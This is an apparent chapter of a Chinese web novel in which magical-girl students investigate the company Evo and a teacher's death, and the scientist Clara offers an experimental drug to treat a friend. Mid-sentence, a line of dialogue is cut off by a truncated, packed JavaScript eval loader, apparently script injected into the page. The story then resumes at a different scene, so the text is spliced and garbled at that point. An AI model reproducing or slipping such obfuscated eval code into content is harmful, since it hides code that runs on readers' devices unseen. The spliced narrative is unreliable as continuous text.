所以犬山晓一直以来都以简单的利益去衡量并支付克拉拉给她的帮助的代价,克拉拉也从未对此表达过不满。 但这次不一样,犬山晓心想,这次她需要的帮助已经超出了克拉拉的认知,那这不就变成了她让克拉拉不知道这是“普通的帮忙”还是“帮奇怪的忙”了吗?她不认为这是一个普通的朋友该做的事情,所以,她决定告诉克拉拉关于自己的真相。 “‘天使’这个代号是一个科技公司能取出来的吗?虽然说以前的科学家哲学家宗教学家基本上是一伙的吧。”森山寺未雅说,“不过这样来说的话,果然西西路老师是知道自己会被怎么样的吧,亏得她白天还正常给我们上课了。” 言论间完全不见与西西路曾经的师生情。 “喂你说话给我注意点!”森山寺未央用手肘顶了一下自己姐姐,“不过也确实,她和我谈话的时候表现的非常平静,果然是做好准备了的吧。” 这话一出,有乐羽生的脸色更苦闷了些,像被抹布蒙住了天灵盖。她虽然没有和西西路说过多少话,但依旧对生命逝去感到遗憾和悲伤,以及对天生目白的真相蒙尘感到愤怒。 “她的身体没有被战斗波及到,警察应该很快就会通报这件事了。”犬山晓想安慰一下有乐羽生。 “没错,这已经是日之森短时间内发生的第三次异常事件了。”森山寺未雅说,“不知道会不会停课,趁这个机会调查一下事情始末吧,别影响到期中考复习了,刚才风纪委员可是说了再出事一次会叫家长。” “未雅说的没错,次数太频繁了。”艾克里普表达认同,“西西路老师被这样果断地杀害也证明了幕后黑手甚至不在乎己方生命,那么那个杀人者或许也并非是主要犯人,随时有被另外的人杀死的可能。我认为可以将这些遭遇也一并告诉启明星侦探,说不定她能给我们一些调查方向。” “那么接下来,我们先去西西路老师的家里看看,如果能找到她入职前的线索就好了,我们需要一个突破口去探查幕后黑手的真正身份和所在地。”森山寺未央郑重地说,“在这个过程中或许我们也能找到治愈未雅的方式。” 森山寺未雅看了一眼她,没有说话。 “是的,而且我们需要知道天使的行动轨迹,如果遇到了它们大家一定要保护好自己,能跑就跑。”艾克里普很担心这一点,“我会想想办法,我相信阿尔卡纳国王也会保佑大家的。” “魔法的终极也是信仰吗?”森山寺未雅问道。 “你能不能少说两句无关紧要的话?”森山寺未央问道。 “好吧,我倒是有些想法,根据你们之前说的战斗遭遇,天使应该都有个集中的恢复点,让它们可以果断地断肢逃生,那个恢复点应该就在不远处吧,不然你们遇到的那个八成活不了也就不用跑了。”森山寺未雅分析说。 “这样来看人体实验的实验室果然就在西部市区附近,也就是Evo园区的附近,现代工程学的作用下这个地点在市区哪个角落里我都不会感到奇怪,还是说其实是在天上?”森山寺未央皱眉指着天空说。 几人上方不远处,监控摄像头移开了人造视线。 “哎呀,未雅也会来帮忙吗?”有乐羽生有些意外。 “说实话,我不知道我是不是应该帮助你们。”森山寺未雅神情矛盾,“帮助你们是件很麻烦的事,而且是否有意义还不好说。但我答应了未央她要去一起解决我们之间的问题,答应了就要做到。” 森山寺未央抿着嘴看着自己姐姐,不知道该说什么,她既因对方的精神问题感到不知所措,但又潜意识里对她来帮助自己感到安心和心安理得。所以她抿着嘴,防止自己在大家面前说出自己都不知道意义是什么的话。 “我果然还是觉得未央当时经历的事情与我们调查的东西有关,针对魔物的实验太可疑了。”犬山晓皱眉说。 “这件事我也觉得古怪。”艾克里普有些为难,“不仅仅是关于魔物的实验,精神魔法的存在对我而言也是陌生的。” 艾克里普心想,因为按阿尔卡纳的禁令来说,魔法是无法干涉人类的精神的。 艾克里普没有把这件事说给大家听,因为除她之外没有人能给魔法问题一个准确答案,比起追究这件事她更愿意考虑如何在不影响森山寺未央的情况下解决森山寺未雅的精神问题。 “这算是在安慰我吗?”森山寺未雅面无表情地说,“我得说谢谢,以及之前造成了各种麻烦很抱歉,虽然结果未知,但我会尽全力帮忙的。” “总会有办法的,人多力量大嘛!而且如果我们能解决这些暗地里制造魔物的人,也算是在拯救世界了吧!”有乐羽生的看法倒是很乐观,“大家先去上课吧,我们放学行动。” “正是如此,那些人的做法毫无疑问是对人类社会秩序有害的。”艾克里普点头说道。 几人一起决定了接下来的计划,森山寺未央和森山寺未雅去西西路的居住地址探查信息,艾克里普找启明星沟通目前遇到的问题,有乐羽生因家里的安排得先回去一趟,犬山晓去找克拉拉。 几人正常结束了接下来的课程,分头前往接下来的行程。 犬山晓回到宿舍换了一身常服,今天并不是该去交付物品的日期,一时之间她甚至对这样没有提前说明的拜访感到有些紧张,开始思考起该给她带些什么过去,往常都是带酒精,但今天或许可以带一些别的东西? 过了一段时间,犬山晓提着一个袋子出现在了克拉拉实验室门口。熟悉的冷气和刺目白光毫不客气地欢迎来客,她紧握手中物品又要注意不要弄坏,一时忘了对这些招呼产生反应。 “嗯?今天怎么来了?”克拉拉意外地问,不急不缓地从座位上站起,顺势隔着白色实验服拉伸了一下肩膀。 “我有些东西想和你说,还有一些问题。”犬山晓犹豫了一下开口说道。 而克拉拉也意识到了犬山晓今日表现的不同寻常,不同寻常的紧张,她隔着镜片打量了对方一番,伸手拉过一张没堆东西的椅子示意对方先坐下。 犬山晓将手提袋放在桌上,克拉拉不急着去接,坐在桌子的另一端撑着头看向犬山晓等她开口说话,颈椎略微前倾,不知是体态不良还是表达求知。 这件事,该从哪里开始说起比较好呢?犬山晓想了想,一时不知该如何开口。 “怎么突然就这么沉默?不会是在学校里犯事了要叫我过去?”克拉拉笑着问。 “要真是那样我反而好开口些,”犬山晓叹了口气,做好了准备,“你有没有思考过我给你带来的那些器官来源是什么?” 这个话题开启的突然,克拉拉歪了歪头但也没多意外,她清楚犬山晓一直以来都不愿意提及这些,并意识到现在或许确实是出现了些特殊情况。 “一直以来你不说我就不问,现在我也不猜了,你愿意说的话就说吧。”克拉拉表现得无所谓地说。 “是我自己制造出来的。”犬山晓直白地说。 果然啊,克拉拉心里有着类似的猜想,但此时听到还是决定惊讶。 “怎么做到的?”克拉拉没有质疑。 “看来你没有太意外,”犬山晓想了想措辞,最后只是这样说,“因为我是魔法少女。” 这句影视作品台词一般的发言因为配音者情绪过于平淡而失去了其应有的时间停顿感。 “不要像那种警察一样亮出自己的身份然后就什么都不说就以为所有人都会理解自己是干什么的以及能干什么。”克拉拉没有动作也没有意外,“请解释名词,谢谢。” “哦哦,好的。”犬山晓这下不好意思了起来,她一边思索一边缓慢地说,“魔法少女我其实不算很了解,就我个人而言,我熟悉那些器官所需要的素材是什么,并且可以使用魔法控制我的血液中的某些小东西改掉,改掉之后血液就变得很,方便使用了。同时我也能使用魔法做到一些其它事,比如隐身什么的,而且我的身体素质特别好也是因为我对血液的运用。” 犬山晓看向克拉拉,她正在思考,那幽绿双眼隔着镜片没有被缓和多少直白,她知道自己正在被观察,并已经提前做好了准备。 “疑问。”克拉拉抬手。 “请问。”犬山晓紧张地说。 “你是怎么成为,这个,魔法少女的?”克拉拉问。 这个问题令犬山晓皱起了眉头,她想起自己的决定,还是决定将事实告诉克拉拉。 “你知道我是从别的地方来到这座城市的,一开始连个人身份都没有。”犬山晓说起这里神色中出现了一些怀念,“我在那之前其实也是差不多的,并非是因为离开某个地方而失去身份,而是从一开始就没有这个东西。” “是的,所以你成为魔法少女是在来此之前?”克拉拉追问。 “没错,在很久以前。”犬山晓点头,“我在一所孤儿院生活,一天我向月亮许愿让身体变得更加健康,而后就成为了魔法少女,想办法自己跑了出来。” 这实在是模糊的回答,克拉拉皱着眉听完。 “论证不完备,能细节一些吗?哪里的孤儿院?许愿流程?月亮是什么?”克拉拉抛出一大堆问题,“没有代价吗?没有责任义务制定吗?” 听着这些问题,犬山晓却没办法第一时间作答,因为她认为这超出了克拉拉的责任范畴。 “很遗憾,这些事情我没法回答你,我来到这座城市之前发生了一些,不好的事情。”犬山晓顿了顿,接着说,“我对于之前的事情记忆都非常模糊,包括那所孤儿院的地址以及我跑出来之后发生的一些事。” 克拉拉一时没有回应自己对这个答案的看法,只是盯着犬山晓思考,她观察到犬山晓对于自己的过去那避之不及的态度,以及否认和抛弃的渴望。她摘下了眼镜,在视线模糊之前合上镜头盖,揉了揉眉心再带上,随后,向后靠在椅背上看向犬山晓。 “所以你才那副样子啊,”克拉拉想起了第一次见到犬山晓时,“我当时还以为你是从童工工厂跑出来的,没有常识,对自己的状况也没概念,不过现在来看真实情况也差不多了。” “有那么不像样吗?”犬山晓也想起了那时的场景,不好意思地笑了,“不过你看上去没有很惊讶。” “自然。”克拉拉笑了笑,看向了实验室医疗区的方向,“研究人员就是应该见到什么都不太惊讶的,越是学习就越是能发现自己的无知,不过这也是很久之前的事了。” “包括魔法是真实存在的这种事?”犬山晓顿了顿,又问道,“包括魔法少女的存在?” “没错。”克拉拉点头,“重点在于其中细节吧,外星人和魔法少女和未知神秘动物,哪个更会让我感到害怕?答案是一个都没有。害怕会对行为产生干扰,我不需要那种情绪。不过你之后要配合我体检知道吗?” “我不介意,不过我之前的体检内容都是造假的。”犬山晓不好意思地说。 “这个我早就知道了。”克拉拉笑了。 犬山晓忽然想起森山寺未央所说的那些内容,心想二人在面对未知物品时的想法有相似之处,她们都能对于颠覆性的事实都能很快接受并加以思考验证其中真实性。该说是勇敢吗?犬山晓不是很能清楚判断。 “如果你连成为魔法少女的记忆都不清不楚的话,那你又是为什么会来到这座城市呢?”克拉拉继续追问细节。 “这倒是没有什么特殊原因,我只是想去一个安全的新城市生活。”犬山晓摇了摇头,又说,“不过这里很难说是安全吧,我运气实在是不好,这已经不算什么了。” “还有一件事我很好奇,你作为一个孤儿院出生的魔法少女,到底是为什么要选择去上学呢,甚至是按照正常年龄段选择了一所普通高中。”克拉拉对此感到怀疑。 而在被问到这个问题的时候,犬山晓却是没有立刻回答,而是一瞬间想起了很久以前的事情,那个画面尤其的清晰—— ——一张被仔细保管的照片上,一对夫妇和其夹在中间的孩子在一间屋子前合照,画面取景非常普通,背景和人物没有什么特殊的地方,就连照片中的人神情也仅仅是平静的。而就是这样的一幕,却令那时的她感到无比的向往,以及对自我的怀疑和悲哀。 “我想要尝试像普通人一样生活试试看。”犬山晓说。 像个普通人一样去上学,去生活,去与其它人产生关系,然后去步入社会之中理所当然地走下去,这便是犬山晓所追寻的一切了。所以相对的,她偶尔会对自己想起来的过去感到排斥,她不会主动提起自己的过去,若是可能的话她这辈子都不会再靠近那所孤儿院。 犬山晓无比感激自己能幸运地成为魔法少女,并且遇到同为魔法少女的朋友们,她相信这是她这样不走运的人这辈子唯一能遇到的奇迹了。她明白自己的朋友们,以及克拉拉,多多少少有着特殊的地方,她不会强求别人为了她的愿望做出牺牲和改变,但她的愿望也不会发生变化。 这样普通的愿望倒是让克拉拉一时没能理解,她原以为这样特殊的身份会让犬山晓拥有野心,无论是多么离谱的话她都做好了去嘲笑的准备。但现在她反而无言以对了,毕竟现在看来怀疑对方动机的她自己才是那个需要被嘲笑的人。 “那么让我猜猜看吧,你将这些事告诉我,肯定是有相关的事情要问我了,是关于Evo的事情?”克拉拉移开了视线换了个话题问。 “是的,刚刚发生了一些事情,我觉得你应该会有解决的办法。”犬山晓点了点头说。 “所以你才说了那些事?你就没想过我拒绝帮助你吗?”克拉拉面无表情地反问。 “那就没办法了,我们就自己想想别的办法。”犬山晓摊手。 “你的秘密怎么办?”克拉拉问。 “我自己觉得可以告诉你了才和你说的,这点和我问你问题没关系。”犬山晓指了指手提袋,表示那才是报酬。 克拉拉听后顿了顿,随后,她长长地叹了口气。 其实克拉拉曾经自己私下调查过这个差点被她带去参加药物实验的小孩子,但确实并没有查到什么有用的相关的信息,所以即使她为自己带来相当大的帮助,但那时克拉拉也无法真的将犬山晓看作为合作伙伴,而更像是一个需要随时切断联系的道具。 她自认为并不是个会照顾小孩子的人,她当然也绝对不会去照看一个小孩,但犬山晓就是一个她看着长大的孩子,要说有多照顾那倒也没有,但她确实偶尔会为这个孩子感到烦心。 为什么会有这样一个小孩子出现在自己的身边呢?浑身都是秘密,不愿意说也查不出来,一看就知道没有人教育过她做人的常识,而她自己本身甚至没有意识到这件事。克拉拉意识到这件事的时候犬山晓已经学会怎么自己通过实验室门口的检测开门进来了。 好吧,克拉拉想,就当是长期观察对象吧,偶尔照顾一下,反正这个人看上去生命力顽强,不会莫名其妙就消失或者死掉。 而到了现在,克拉拉却发现犬山晓居然真的像个正常孩子一样长大了,不仅在学校里找到了朋友,沉稳了许多,甚至懂得为朋友烦恼,并且自己思考后决定交付信任给她。 “小孩子就是麻烦,明明个子没长多少,麻烦倒是一堆一堆地出现。”克拉拉抱怨着说,“问吧问吧,先说好你们魔法少女的事情我可管不了太多,术业有专攻知道吗?跨专业指指点点可是大忌,而且会被专业人士瞧不起的。” “好的,那首先是关于之前你和我说的有乐千实,她在Evo工作的话或许愿意给我们透露一些信息,我们有什么办法联系上她吗?”犬山晓问道。 “你的那个朋友都内部联系不上的话就别指望我了,有乐千实基本上只对董事会内部事务和器械部门负责,对外事务得找那位CEO才对。”克拉拉摆了摆手。 “CEO,湛吗。”犬山晓并不觉得对方会愿意接几个学生的电话,“趁上班时间去堵她有可能吗?” “没可能,她上班时间地点不固定,而且十年前就不出席公共场合的活动了,家族化管理的企业在这方面上可是很通融的。”克拉拉毫不留情地说。 犬山晓不了解其中的大部分信息,于是她记了下来。 “你不理解就不能问问我吗?”克拉拉看着她打字的动作问道,“或者去网上搜一下,不要只记名词啊得思考。” “…也没关系的吧,我们需要的只是信息本身。”犬山晓无奈地说。 “谁让你收集这些信息的?”克拉拉皱眉。 “就是我们几个,之前市区有野兽袭击行人,这实际上是魔物所为。”犬山晓想了想,解释道,“魔物就是魔法少女的敌人,但是我们后来发现那个魔物实际上是人造的,背后是人体实验,而且和Evo有关。” “那家公司做人体实验我不意外,但你们是如何将这些事情联系起来的?”克拉拉问道。 “是由一位叫启明星的侦探提供了线索!”犬山晓笑着说,“她也在调查那家公司,而且已经有所了解了并且愿意帮助我们,啊你不要去找人家麻烦哦。” “你这么一说我可能就会去了。”克拉拉嗤笑一声,“你自己回头看看不觉得可疑吗?她说什么你们就信?” “可是艾克里普也说了可以信任启明星侦探,在这方面你也说了,术业有专攻吧。”犬山晓认真地看着克拉拉说道,“不可以去找侦探的麻烦哦。” “我不理解魔法相关事务。”克拉拉说着,因为被犬山晓一直盯着而忍不住移开了视线,“行吧行吧我也不了解侦探相关的事务,平白无故不会去对人家动手动脚的。” “那我就相信你说的好了。”犬山晓点了点头。 “…你知道你这样真的很容易被骗吗?”克拉拉忍不住说道,“不过你确实一直有在跟着那些现代互联网特产行动,算了你开心就好吧反正你生命力很顽强。” “谢谢?”犬山晓不确定地说。 “总之。”克拉拉清了清嗓子,“人造魔物的目的尚且还不清晰,这种程度的研究如果目的只是无责任杀人的话那还不如给天生目家塞点钱吧。这之后肯定还有更长远更让你们无法理解的目标的,比文化博士毕业论文主题还诡异也是有可能的。” “我们确实也是这样觉得的。”犬山晓按照她能理解的理解了,并且回答,“而且在这方面我们确实遇到了一些,目的?还是说原因?总之有问题出现了。” “麻烦就是会像灰尘一样粘上来的。”克拉拉说,“是什么问题让你无法定性发生的起因和时间以及因果关系?” “这是关于我的一个朋友,森山寺未雅的问题,这个问题似乎很难用魔法解决,所以我们正在考虑从其它途径找到解决办法。”犬山晓郑重地说,“她之前有精神病,后来通过精神魔法变得表面上正常了一点,但现在却变得越来越奇怪了。” “疾病当然得根治才有效,不过精神病的话可没办法从脑子深处开始治,精神魔法我就按照字面意思去理解好了,它没能对精神奏效吗?”克拉拉问道。 “…这个解释起来也太困难了。”犬山晓绞尽脑汁地思考该怎么表达,“总之,一开始是未央,也就是未雅的双胞胎妹妹在指导后接触了魔物对未雅使用了精神魔法,这个魔法的效果最终是被动吸收情绪,这让她变成了一个,很没有情绪的人。她甚至会尝试杀死自己的妹妹,但却还是想要平静的生活,这太奇怪了。” “她因为失去欲望变成了一个结局导向的人。”克拉拉总结道,“那个指导,细说一下。” “哦哦好的。”犬山晓因为对方成功理解了过程而松了口气,又紧张了起来,“这个就更难说明白了,总之那是来自她父母朋友的一张光碟,光碟中记录了一场关于魔物的实验过程。” 克拉拉陷入了思索之中,犬山晓紧张地等待她的回复。 “父母的,朋友,这是她们主观认为的吧。”克拉拉笑了笑说,“不过这还轮不到我来说,那张光碟还存在吗?” “是阅读后销毁的。”犬山晓说着,补充道,“这个研究人员的名字叫伊提,你有印象吗?” “要是有个人百科页面的那我可能会愿意有印象吧,而且这是名字还是姓氏?国籍呢?研究方向文献和学位历程呢?”克拉拉看着犬山晓一点点移开的眼睛,“那至少告诉我怎么写吧?” “这个我问问!”犬山晓迅速摸出了手机发消息询问,消息发出的下一刻就得到了回复,她直接把自己的手机递给克拉拉,克拉拉一顿,还是接了过来。 Etihw,伊提。 “这也太明显了吧。”克拉拉嗤笑一声,“怎么会有这么没——” 研究人员大忌不说绝对的可能性,她或许是意识到了这一点,或许,她想起了什么。她忽然突兀一顿,抬手摘下眼镜去确认那过于明显的倒置假名。 “…这个人,什么时候出现的?”克拉拉问,“我是说什么时候出现在她们两个的父母视线范围内活动的,不行,她最后一次和你们见面是什么时候?” “说是2013年年初。”犬山晓不知道克拉拉为什么这么问,只是回答了问题。 “…还差一点。”克拉拉盯着那个名字看,随即,她意识到了什么,“若是基于假设那么就可以考虑到另一重事实上得到的数据。” 随即,她抬头盯紧了犬山晓。 “你们之前去Evo内部看过了。”克拉拉问道,“有发生什么吗?或者发现什么,什么都可以,哪怕只是一串无意义的字符,有这种东西存在吗?” “啊!”犬山晓想起来了那张实验单,“有张实验单,上面写着RP-h-CI什么的,说是很久以前的实验的编号,这个有用吗。” 克拉拉掉在地上的眼镜说,当然是有用的。 “哈——”克拉拉长叹一口气,又像是笑太夸张了没来得及下一次呼吸,她单手捂着脸坐回了椅子上,停顿了一会,又迅速站了起来。 “就在,这么近的地方啊。”克拉拉直视天花板说道,视线因为视力没能飘远多少,又因为思绪而飘到了大洋彼岸的另一个地方,她的语气也飘忽,久久无法落到地上。 犬山晓有些担心对方是不是低血糖了。 克拉拉低下头,视线回来了,思绪回来了,她那从喉咙深处发出的笑声和自信也一起回来了,她先是嗤笑,随即,那长长的气音又因为某件事好笑而加入了持续不断的颤抖。 “我待在这里的原因,是那个东西。”克拉拉指向了医疗区所在的位置,正对着她的手指的是一片不透明玻璃,并非故意挡路,而是早就在这里了,“那是,特异点,或者你们叫它奇点也可以,验证的过程忽略不计反正你也听不懂,以关联性来看,我得到它的原因是自愿赠予,赠送方是我2002年加入的实验室中,那只带了我一年就莫名其妙消失的导师,White。” “我愿意听你说你的过去,但现在你似乎有别的东西想要强调,那是什么?”犬山晓耐心地说。 “咳咳。”克拉拉清了清嗓子坐起身,“那个大型研究中心的研究方向是生物基因化学,对没错你或许觉得耳熟但是这样的研究所或者实验中心数量并不少,但我作为特殊学生兼助理加入那个研究中心的实验室的原因只是因为那个导师而已,而她的研究方向是药理学。” “为什么因为那个导师?”犬山晓问道。 “…因为好奇她论文里理所当然的论点,我约谈了她,表示愿意赞助。”克拉拉忽然嗤笑了一声,“然后她向我展现了奇迹,花钱买来的奇迹,现在看来当时她确实是缺钱缺到需要兼职卖艺了,不过就这样她也不愿意卖自己的实验器材。” “奇迹?”犬山晓有些怀疑,“有可能是魔法吗?” “那时她已经差不多是个中年人了,当魔法少女有些太晚了吧?”克拉拉顿了顿,继续说,“我说是奇迹是因为那是小概率事件,而不是因为那是不可能实现的事件。那个实验室的样本库比Evo现在的那个还要大一倍,但动态识别建模还是得靠自己建的,更别提伦理问题,那可不是草药那种不上市就没事的好心货。” 克拉拉嘴角咧开,这样的笑容配合她的白大褂,科学怪人形象闪亮登场。 “所以,只有模拟实验,该怎么样才能让你也理解那份美丽呢?那技术路径毫无疑问是不成熟的,但她仿佛被神眷顾了一般从没有考虑过非实现的可能性,就连报错都没想过。血脑屏障这一系统你能用血液感触理解吗?不能的话只记住这是药理学与大脑之间的最大障碍,只能靠优化药物结构或者绕开达成突破,或者买点金转头砸材料学专家。但是她使用口服,甚至不是注射,胃酸何德何能有机会在那台机器上模拟效果啊?”克拉拉尽可能用廉价的词汇来展示她宝贵的经验,但很明显,没用。 “…我记下来了!”犬山晓抬头说。 “那也不错了。”克拉拉顿了顿,叹了口气,“好吧,好吧,算了。总而言之你就当作是你朝北方深冬结了冰的湖面扔泥巴那其中的营养还是被湖里面的鱼吸收了吧。” “…我理解了!”犬山晓恍然大悟,“有一点点可能,但真的只有一点点诶。” 比如冰面恰好有一条小小的缝,或者恰好之前有来钓鱼的人尝试钻洞把冰面打磨过,或者那条鱼正好被冻在离冰面比较近的位置而且还活着,总之,一点点可能。 “但是她模拟了三次,全都成功了。”克拉拉说到这里倒是没有如一开始那样激动,“后来我发现她确实是用了些伎俩的,但说到底,哪怕是用了些伎俩,那成果也足够任何一个实验人员出席任何一个电视台采访的任何一个黄金档了。” 现在是但是时间。 “但是她失踪了,在2003年,她的失踪甚至没在那个实验室,甚至研究中心里激起什么水花,研究中心的跟进管理根本不管,就好像那结果连同她本身都微不足道一样。但我不这样认为。”克拉拉笑了笑,“不过这可能也就是我的主观猜测而已。后来我主观猜测这背后有什么阴谋,主观热血沸腾,主观横冲直撞。然定位这里,事实是一坐十几年,一事无成。” “不要这样说啦。”犬山晓皱眉否认道,“虽然你人品不怎么行,但是我一直觉得你挺厉害的,业务能力也强,脑子也很好用,而且见谁和谁说话都特别自信诶。” “大人都是这样的哦,小犬山,你又见过多少大人呢?”克拉拉这样说着,移开了视线,“不过我确实是天才,这无可否认。” “…你自己能想开就好。”犬山晓说。 “说回正题,我接手了那个实验室的所有记录数据,也接手了那家伙的研究方向。”克拉拉言辞间对那位不告而别的导师的不满显而易见,“中途东拼西凑卖了点东西也有了些研究成果吧,不过体外和体内实验一直没找到合适的受试者。” “结果?你的那些药物吗?”犬山晓问道。 “一部分,通过那家伙的赠送附言,我还买了个医疗舱改装了一下放那个特异点作为疗法的一部分,那玩意对生物有通过接触甚至间接接触导致昏迷的效果,我想办法给解决了。”克拉拉云淡风轻地说,看向犬山晓。 “哦哦,然后呢?”犬山晓问道。 “…没有然后了。”克拉拉冷笑一声,“说什么你都听不懂我还有什么好说的?” “这也是没办法的事情啦。”犬山晓无奈地说,“下次和我讲讲我听得懂的吧,比如你以前在遇到的人,那个实验室我觉得还挺奇怪的,不过就你来看,或许也不是很奇怪吧。” “你没确切观察不要擅自定论。”克拉拉严重谴责这种行为,“总之我确实缺一位受试者,根据你的描述,你的那位朋友听上去症状可以实验我的药物。” “主次是不是有点奇怪?”犬山晓问道,又说,“这会有用吗?你不是说术业有专攻,这两边真的能连起来吗?” “试试看吧!”克拉拉鼓励道,“我不保证有效但你们也没得选吧!” “我去询问一下她们的意见吧。”犬山晓犹豫地说,“你看上去非常希望我们这么做,出于我对你道德上的了解,可以告诉我为什么吗?” “你是大学教授会喜欢的类型呢小犬山。”克拉拉沉默了片刻之后说道,“因为靶向药物的疗效针对性太强了,效果目的简单来说就是杀菌,菌指泥巴中的营养,无菌可杀的话临床试验就永远无法达到确认药效稳定性和不良反应的目标,实验无法迎来结果,无法发表,无法评审,那。” 克拉拉没有继续说下去。 “那就是你在这里待着的最终原因,对吗?”犬山晓问道。 “当然啦,小犬山,我可是等了十多年呢。”克拉拉咧着嘴笑了,“那些家伙也是,不过那些家伙永远不会改变吧,直到我拿着结果拍到她们的脸上的那一刻。” “…这个我觉得我听懂了。”犬山晓认真地说,“你想用这个结果让谁对你刮目相看,是你的导师吗?” “好了问题到这里结束!”克拉拉摆了摆手,“她失踪,不负责的导师和死了没区别,而我的目标对你对你们来说毫无联系性,有关系的是这次临床试验本身,去联系那位志愿者病人吧。” 犬山晓顿了顿,她意识到克拉拉的那些私事她确实没什么办法和立场去管。 “我记下来了。”犬山晓点头,“无论如何,谢谢你愿意帮助我们。” “不客气。”克拉拉说着,看向了医疗区,或者说,那其中的什么。 犬山晓也看向那里,隔着单面玻璃她什么也看不到,但毫无疑问,那里存放着她们的希望,虽然效果动机过程全部存疑。 “如果我没猜错的话,你们要做的事情和送命没什么区别,不过你们魔法少女的事情我不清楚也不打算往这个无前人给出定论的学科发展,好自为之吧。”克拉拉坐回了电脑前头也不回地说,“还是老样子,别把我抖出去。” “知道了,这个东西你记得用。”犬山晓指了指袋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有额外的任何家具,甚至没有床。无论是沙发还是餐桌,甚至是沿着墙边的简易厨房区域的台上都凌乱地散布着各种纸张,以及未开封的笔记本和书本,森山寺未央捡起看了看,发现是日之森发放的。 “一会我们也去邮箱那里看一下。”森山寺未央说。 森山寺未雅点了点头,开始收集地上的纸张。 屋子里的纸张太多太乱,二人花费了一定时间才将屋内能看见的纸张全部收集起来,卫生间内也只有简单的洗漱物品,还不如酒店提供的齐全。步入式的衣柜里倒是有些西西路穿过的衣服,以及未开封的一次性贴身衣物,储物室和厨房区域的柜子里内空空如也,没有行李箱也没有食物,就好像这间公寓的主人知道自己只会暂时待在这里一样。 “这些纸张大部分都没用,怪不得像垃圾一样到处丢。”森山寺未雅说。 从屋内得到的那些纸张大部分都印刷着日之森的教学教材,没有与西西路本身相关的信息,于是二人去邮箱处把文件都取了出来,其余空格所属的一部分邮箱肉眼可见地爆满。 这里被遗忘了,公寓也好,多年前就开始修但一直没修好的石板路也好,说要延伸到这个区域但一直没实行的列车也好,全部被拥挤在西部市区的人抛之脑后。 “西西路老师她应该是知道自己会如何的吧,也知道会有人找到这里来。”森山寺未央失望地叹了口气,继续翻看着纸张。 “等等,你看这里,”森山寺未雅拿起一张被折叠过的纸张,明显是从信封中取出的,是一份来自医疗保险公司的账单,“你看这里的名字。” 账单来自圣心生命保险,二人未曾听说过这个保险公司的名字,日之森会给编制下的教师购置医疗保险,但教师也可以自己额外再购买保险产品,比如视力保险之类的。而从西西路的这个屋子就可以看出她那近乎于无的生活热情,二人很难想象她会为了健康额外购买医疗保险。 “亚贝琉西西路,这是西西路老师的全名?可是她的办公室名牌上都只有西西路这个名字。”森山寺未央疑惑道。 “日之森支持学生在校内使用自己偏好的名字,只有在个人证件上会要求显示真实姓名。”森山寺未雅说。 森山寺未央点点头,继续去看账单摘要和详细账单。 医疗服务总费用:50000 保险公司已支付:-45500 您的责任金额:500 医疗服务提供者:神脉医院 服务类型:常规体检,影像检查,视力检查,血液测试,药物单补充。 接下来是支付方式和其它提醒,以及公司的盖章和签名,没有额外的信息了。 “大都是检查类的,时间是在去年十月份,是在她入职之前,可是日之森的学生和老师都是在日之森指定的地点参加的检查,为什么西西路老师要单独在别的地方做这些呢?”森山寺未雅提出了疑点,“这个名字也够可疑的。” “应该是她背后的人的要求,那这样的话这个医院就确实很可疑了,这家保险公司也是。”森山寺未央思索着说。 “网上应该查得到,”森山寺未雅拿出手机,“这里没信号,我们出去后再找。” 森山寺未央点点头,余下的纸张里再没有出现什么有用的信息,她没有犹豫将所有纸张都带走了,离开之前二人再次巡视这处公寓。 “应该是真的没东西能找出来了,走吧。”森山寺未雅说。 森山寺未央点点头,二人从公寓门离开,但走到玄关处时,她发现公寓大门内侧的鱼眼盖子上悬挂着一个像是风铃的悬挂装饰物,毛绒表面不反射任何光,尤其低调。她没有从中察觉到奇怪的反应,随即伸手将其摘下,手感柔软,那是看不出造型的毛毡装饰物。 “这是什么?猫毛?”森山寺未雅凑过来看。 “没有标签,是手工的,”森山寺未央忽然想到了,“这个是古河老师送给西西路老师的吧!古河老师她自己也有带着一些,办公室里也有,包上也有。”限制于此,但远不止于此。 “装饰物放在办公室更有用,她基本上不回这里才对。”森山寺未雅不理解。 “已经没法再问她原因了,”森山寺未央说,“就这样带走吧。” 二人离开公寓后不久手机就有了信号,森山寺未雅开始搜寻有关刚才找到的信息相关线索,森山寺未央收到了来自犬山晓的好消息。 “克拉拉说她对未雅的事情有个概率未知的可疑方法。”犬山晓说。 “那实在是太好了!”艾克里普迅速但缓慢地回复,“克拉拉小姐真是敏锐的人,只是普通人却也能理解发生了什么,不过为什么说是概率未知的呢?” “其实我也不清楚,克拉拉似乎认识那位伊提阿姨,她们是师生,实验室的研究的方向也和大脑屏障什么的有关的样子,我不是很能懂。”犬山晓说。 “那这次治疗在成功率上应该还是有风险的,如果这次治疗还是没办法奏效的话,就让我来试试看从外部介入吧。”艾克里普说,“治疗过程我也会在现场看着的。” “那至少现在有个治疗选择了,未央未雅怎么看?”有乐羽生说。 森山寺未央心脏砰砰直跳,她本做好了在这件大事上耗费很长的时间,但她的朋友比她想象中的更可靠,她转头看向自己的姐姐说:“有办法了!虽然概率未知但是现在就可以试试。” “这么快?”森山寺未雅说,“不过越快越好,现在就过去吧。” “太好了!我们现在就可以去试试看!”森山寺未央在聊天群里说。 “未央和未央调查结束了?有什么收获吗?”有乐羽生回复说。 “刚刚没有信号,西西路老师家里几乎没有有用的东西,不过我们找到了一张可疑的医疗保险账单,我准备上网查查相关的信息。”森山寺未央回答说。 “克拉拉说需要准备一下,明天下午放学后大家有时间吗?”犬山晓说。 “我和启明星小姐约好了明天下午见面,不过我很担心未雅这里。”艾克里普犹豫地说。 她没有明说担心的理由,但理由存在,且就在大家的脑子里。克拉拉是个普通人,实验人员,而且研究可疑目标,这几项艾克里普放在一起不看质量克拉拉的临床实验的危险度就和Evo这个当前大敌不相上下。但靶向药临床试验多数如此,只是这次缺少一个质量监控。 艾克里普是最好的保险,所以她担心自己不在时风险超标,也犹豫自己是否应该为了这一可能性耽搁她真正需要考虑的困境。 她在思考一个答案。 “艾克里普就去见启明星侦探吧,未雅这里我会看着的!”森山寺未央犹豫了一下,继续说,“她现在没法对自己负责了,我会替她负责的。” “我也会在的。”犬山晓说。 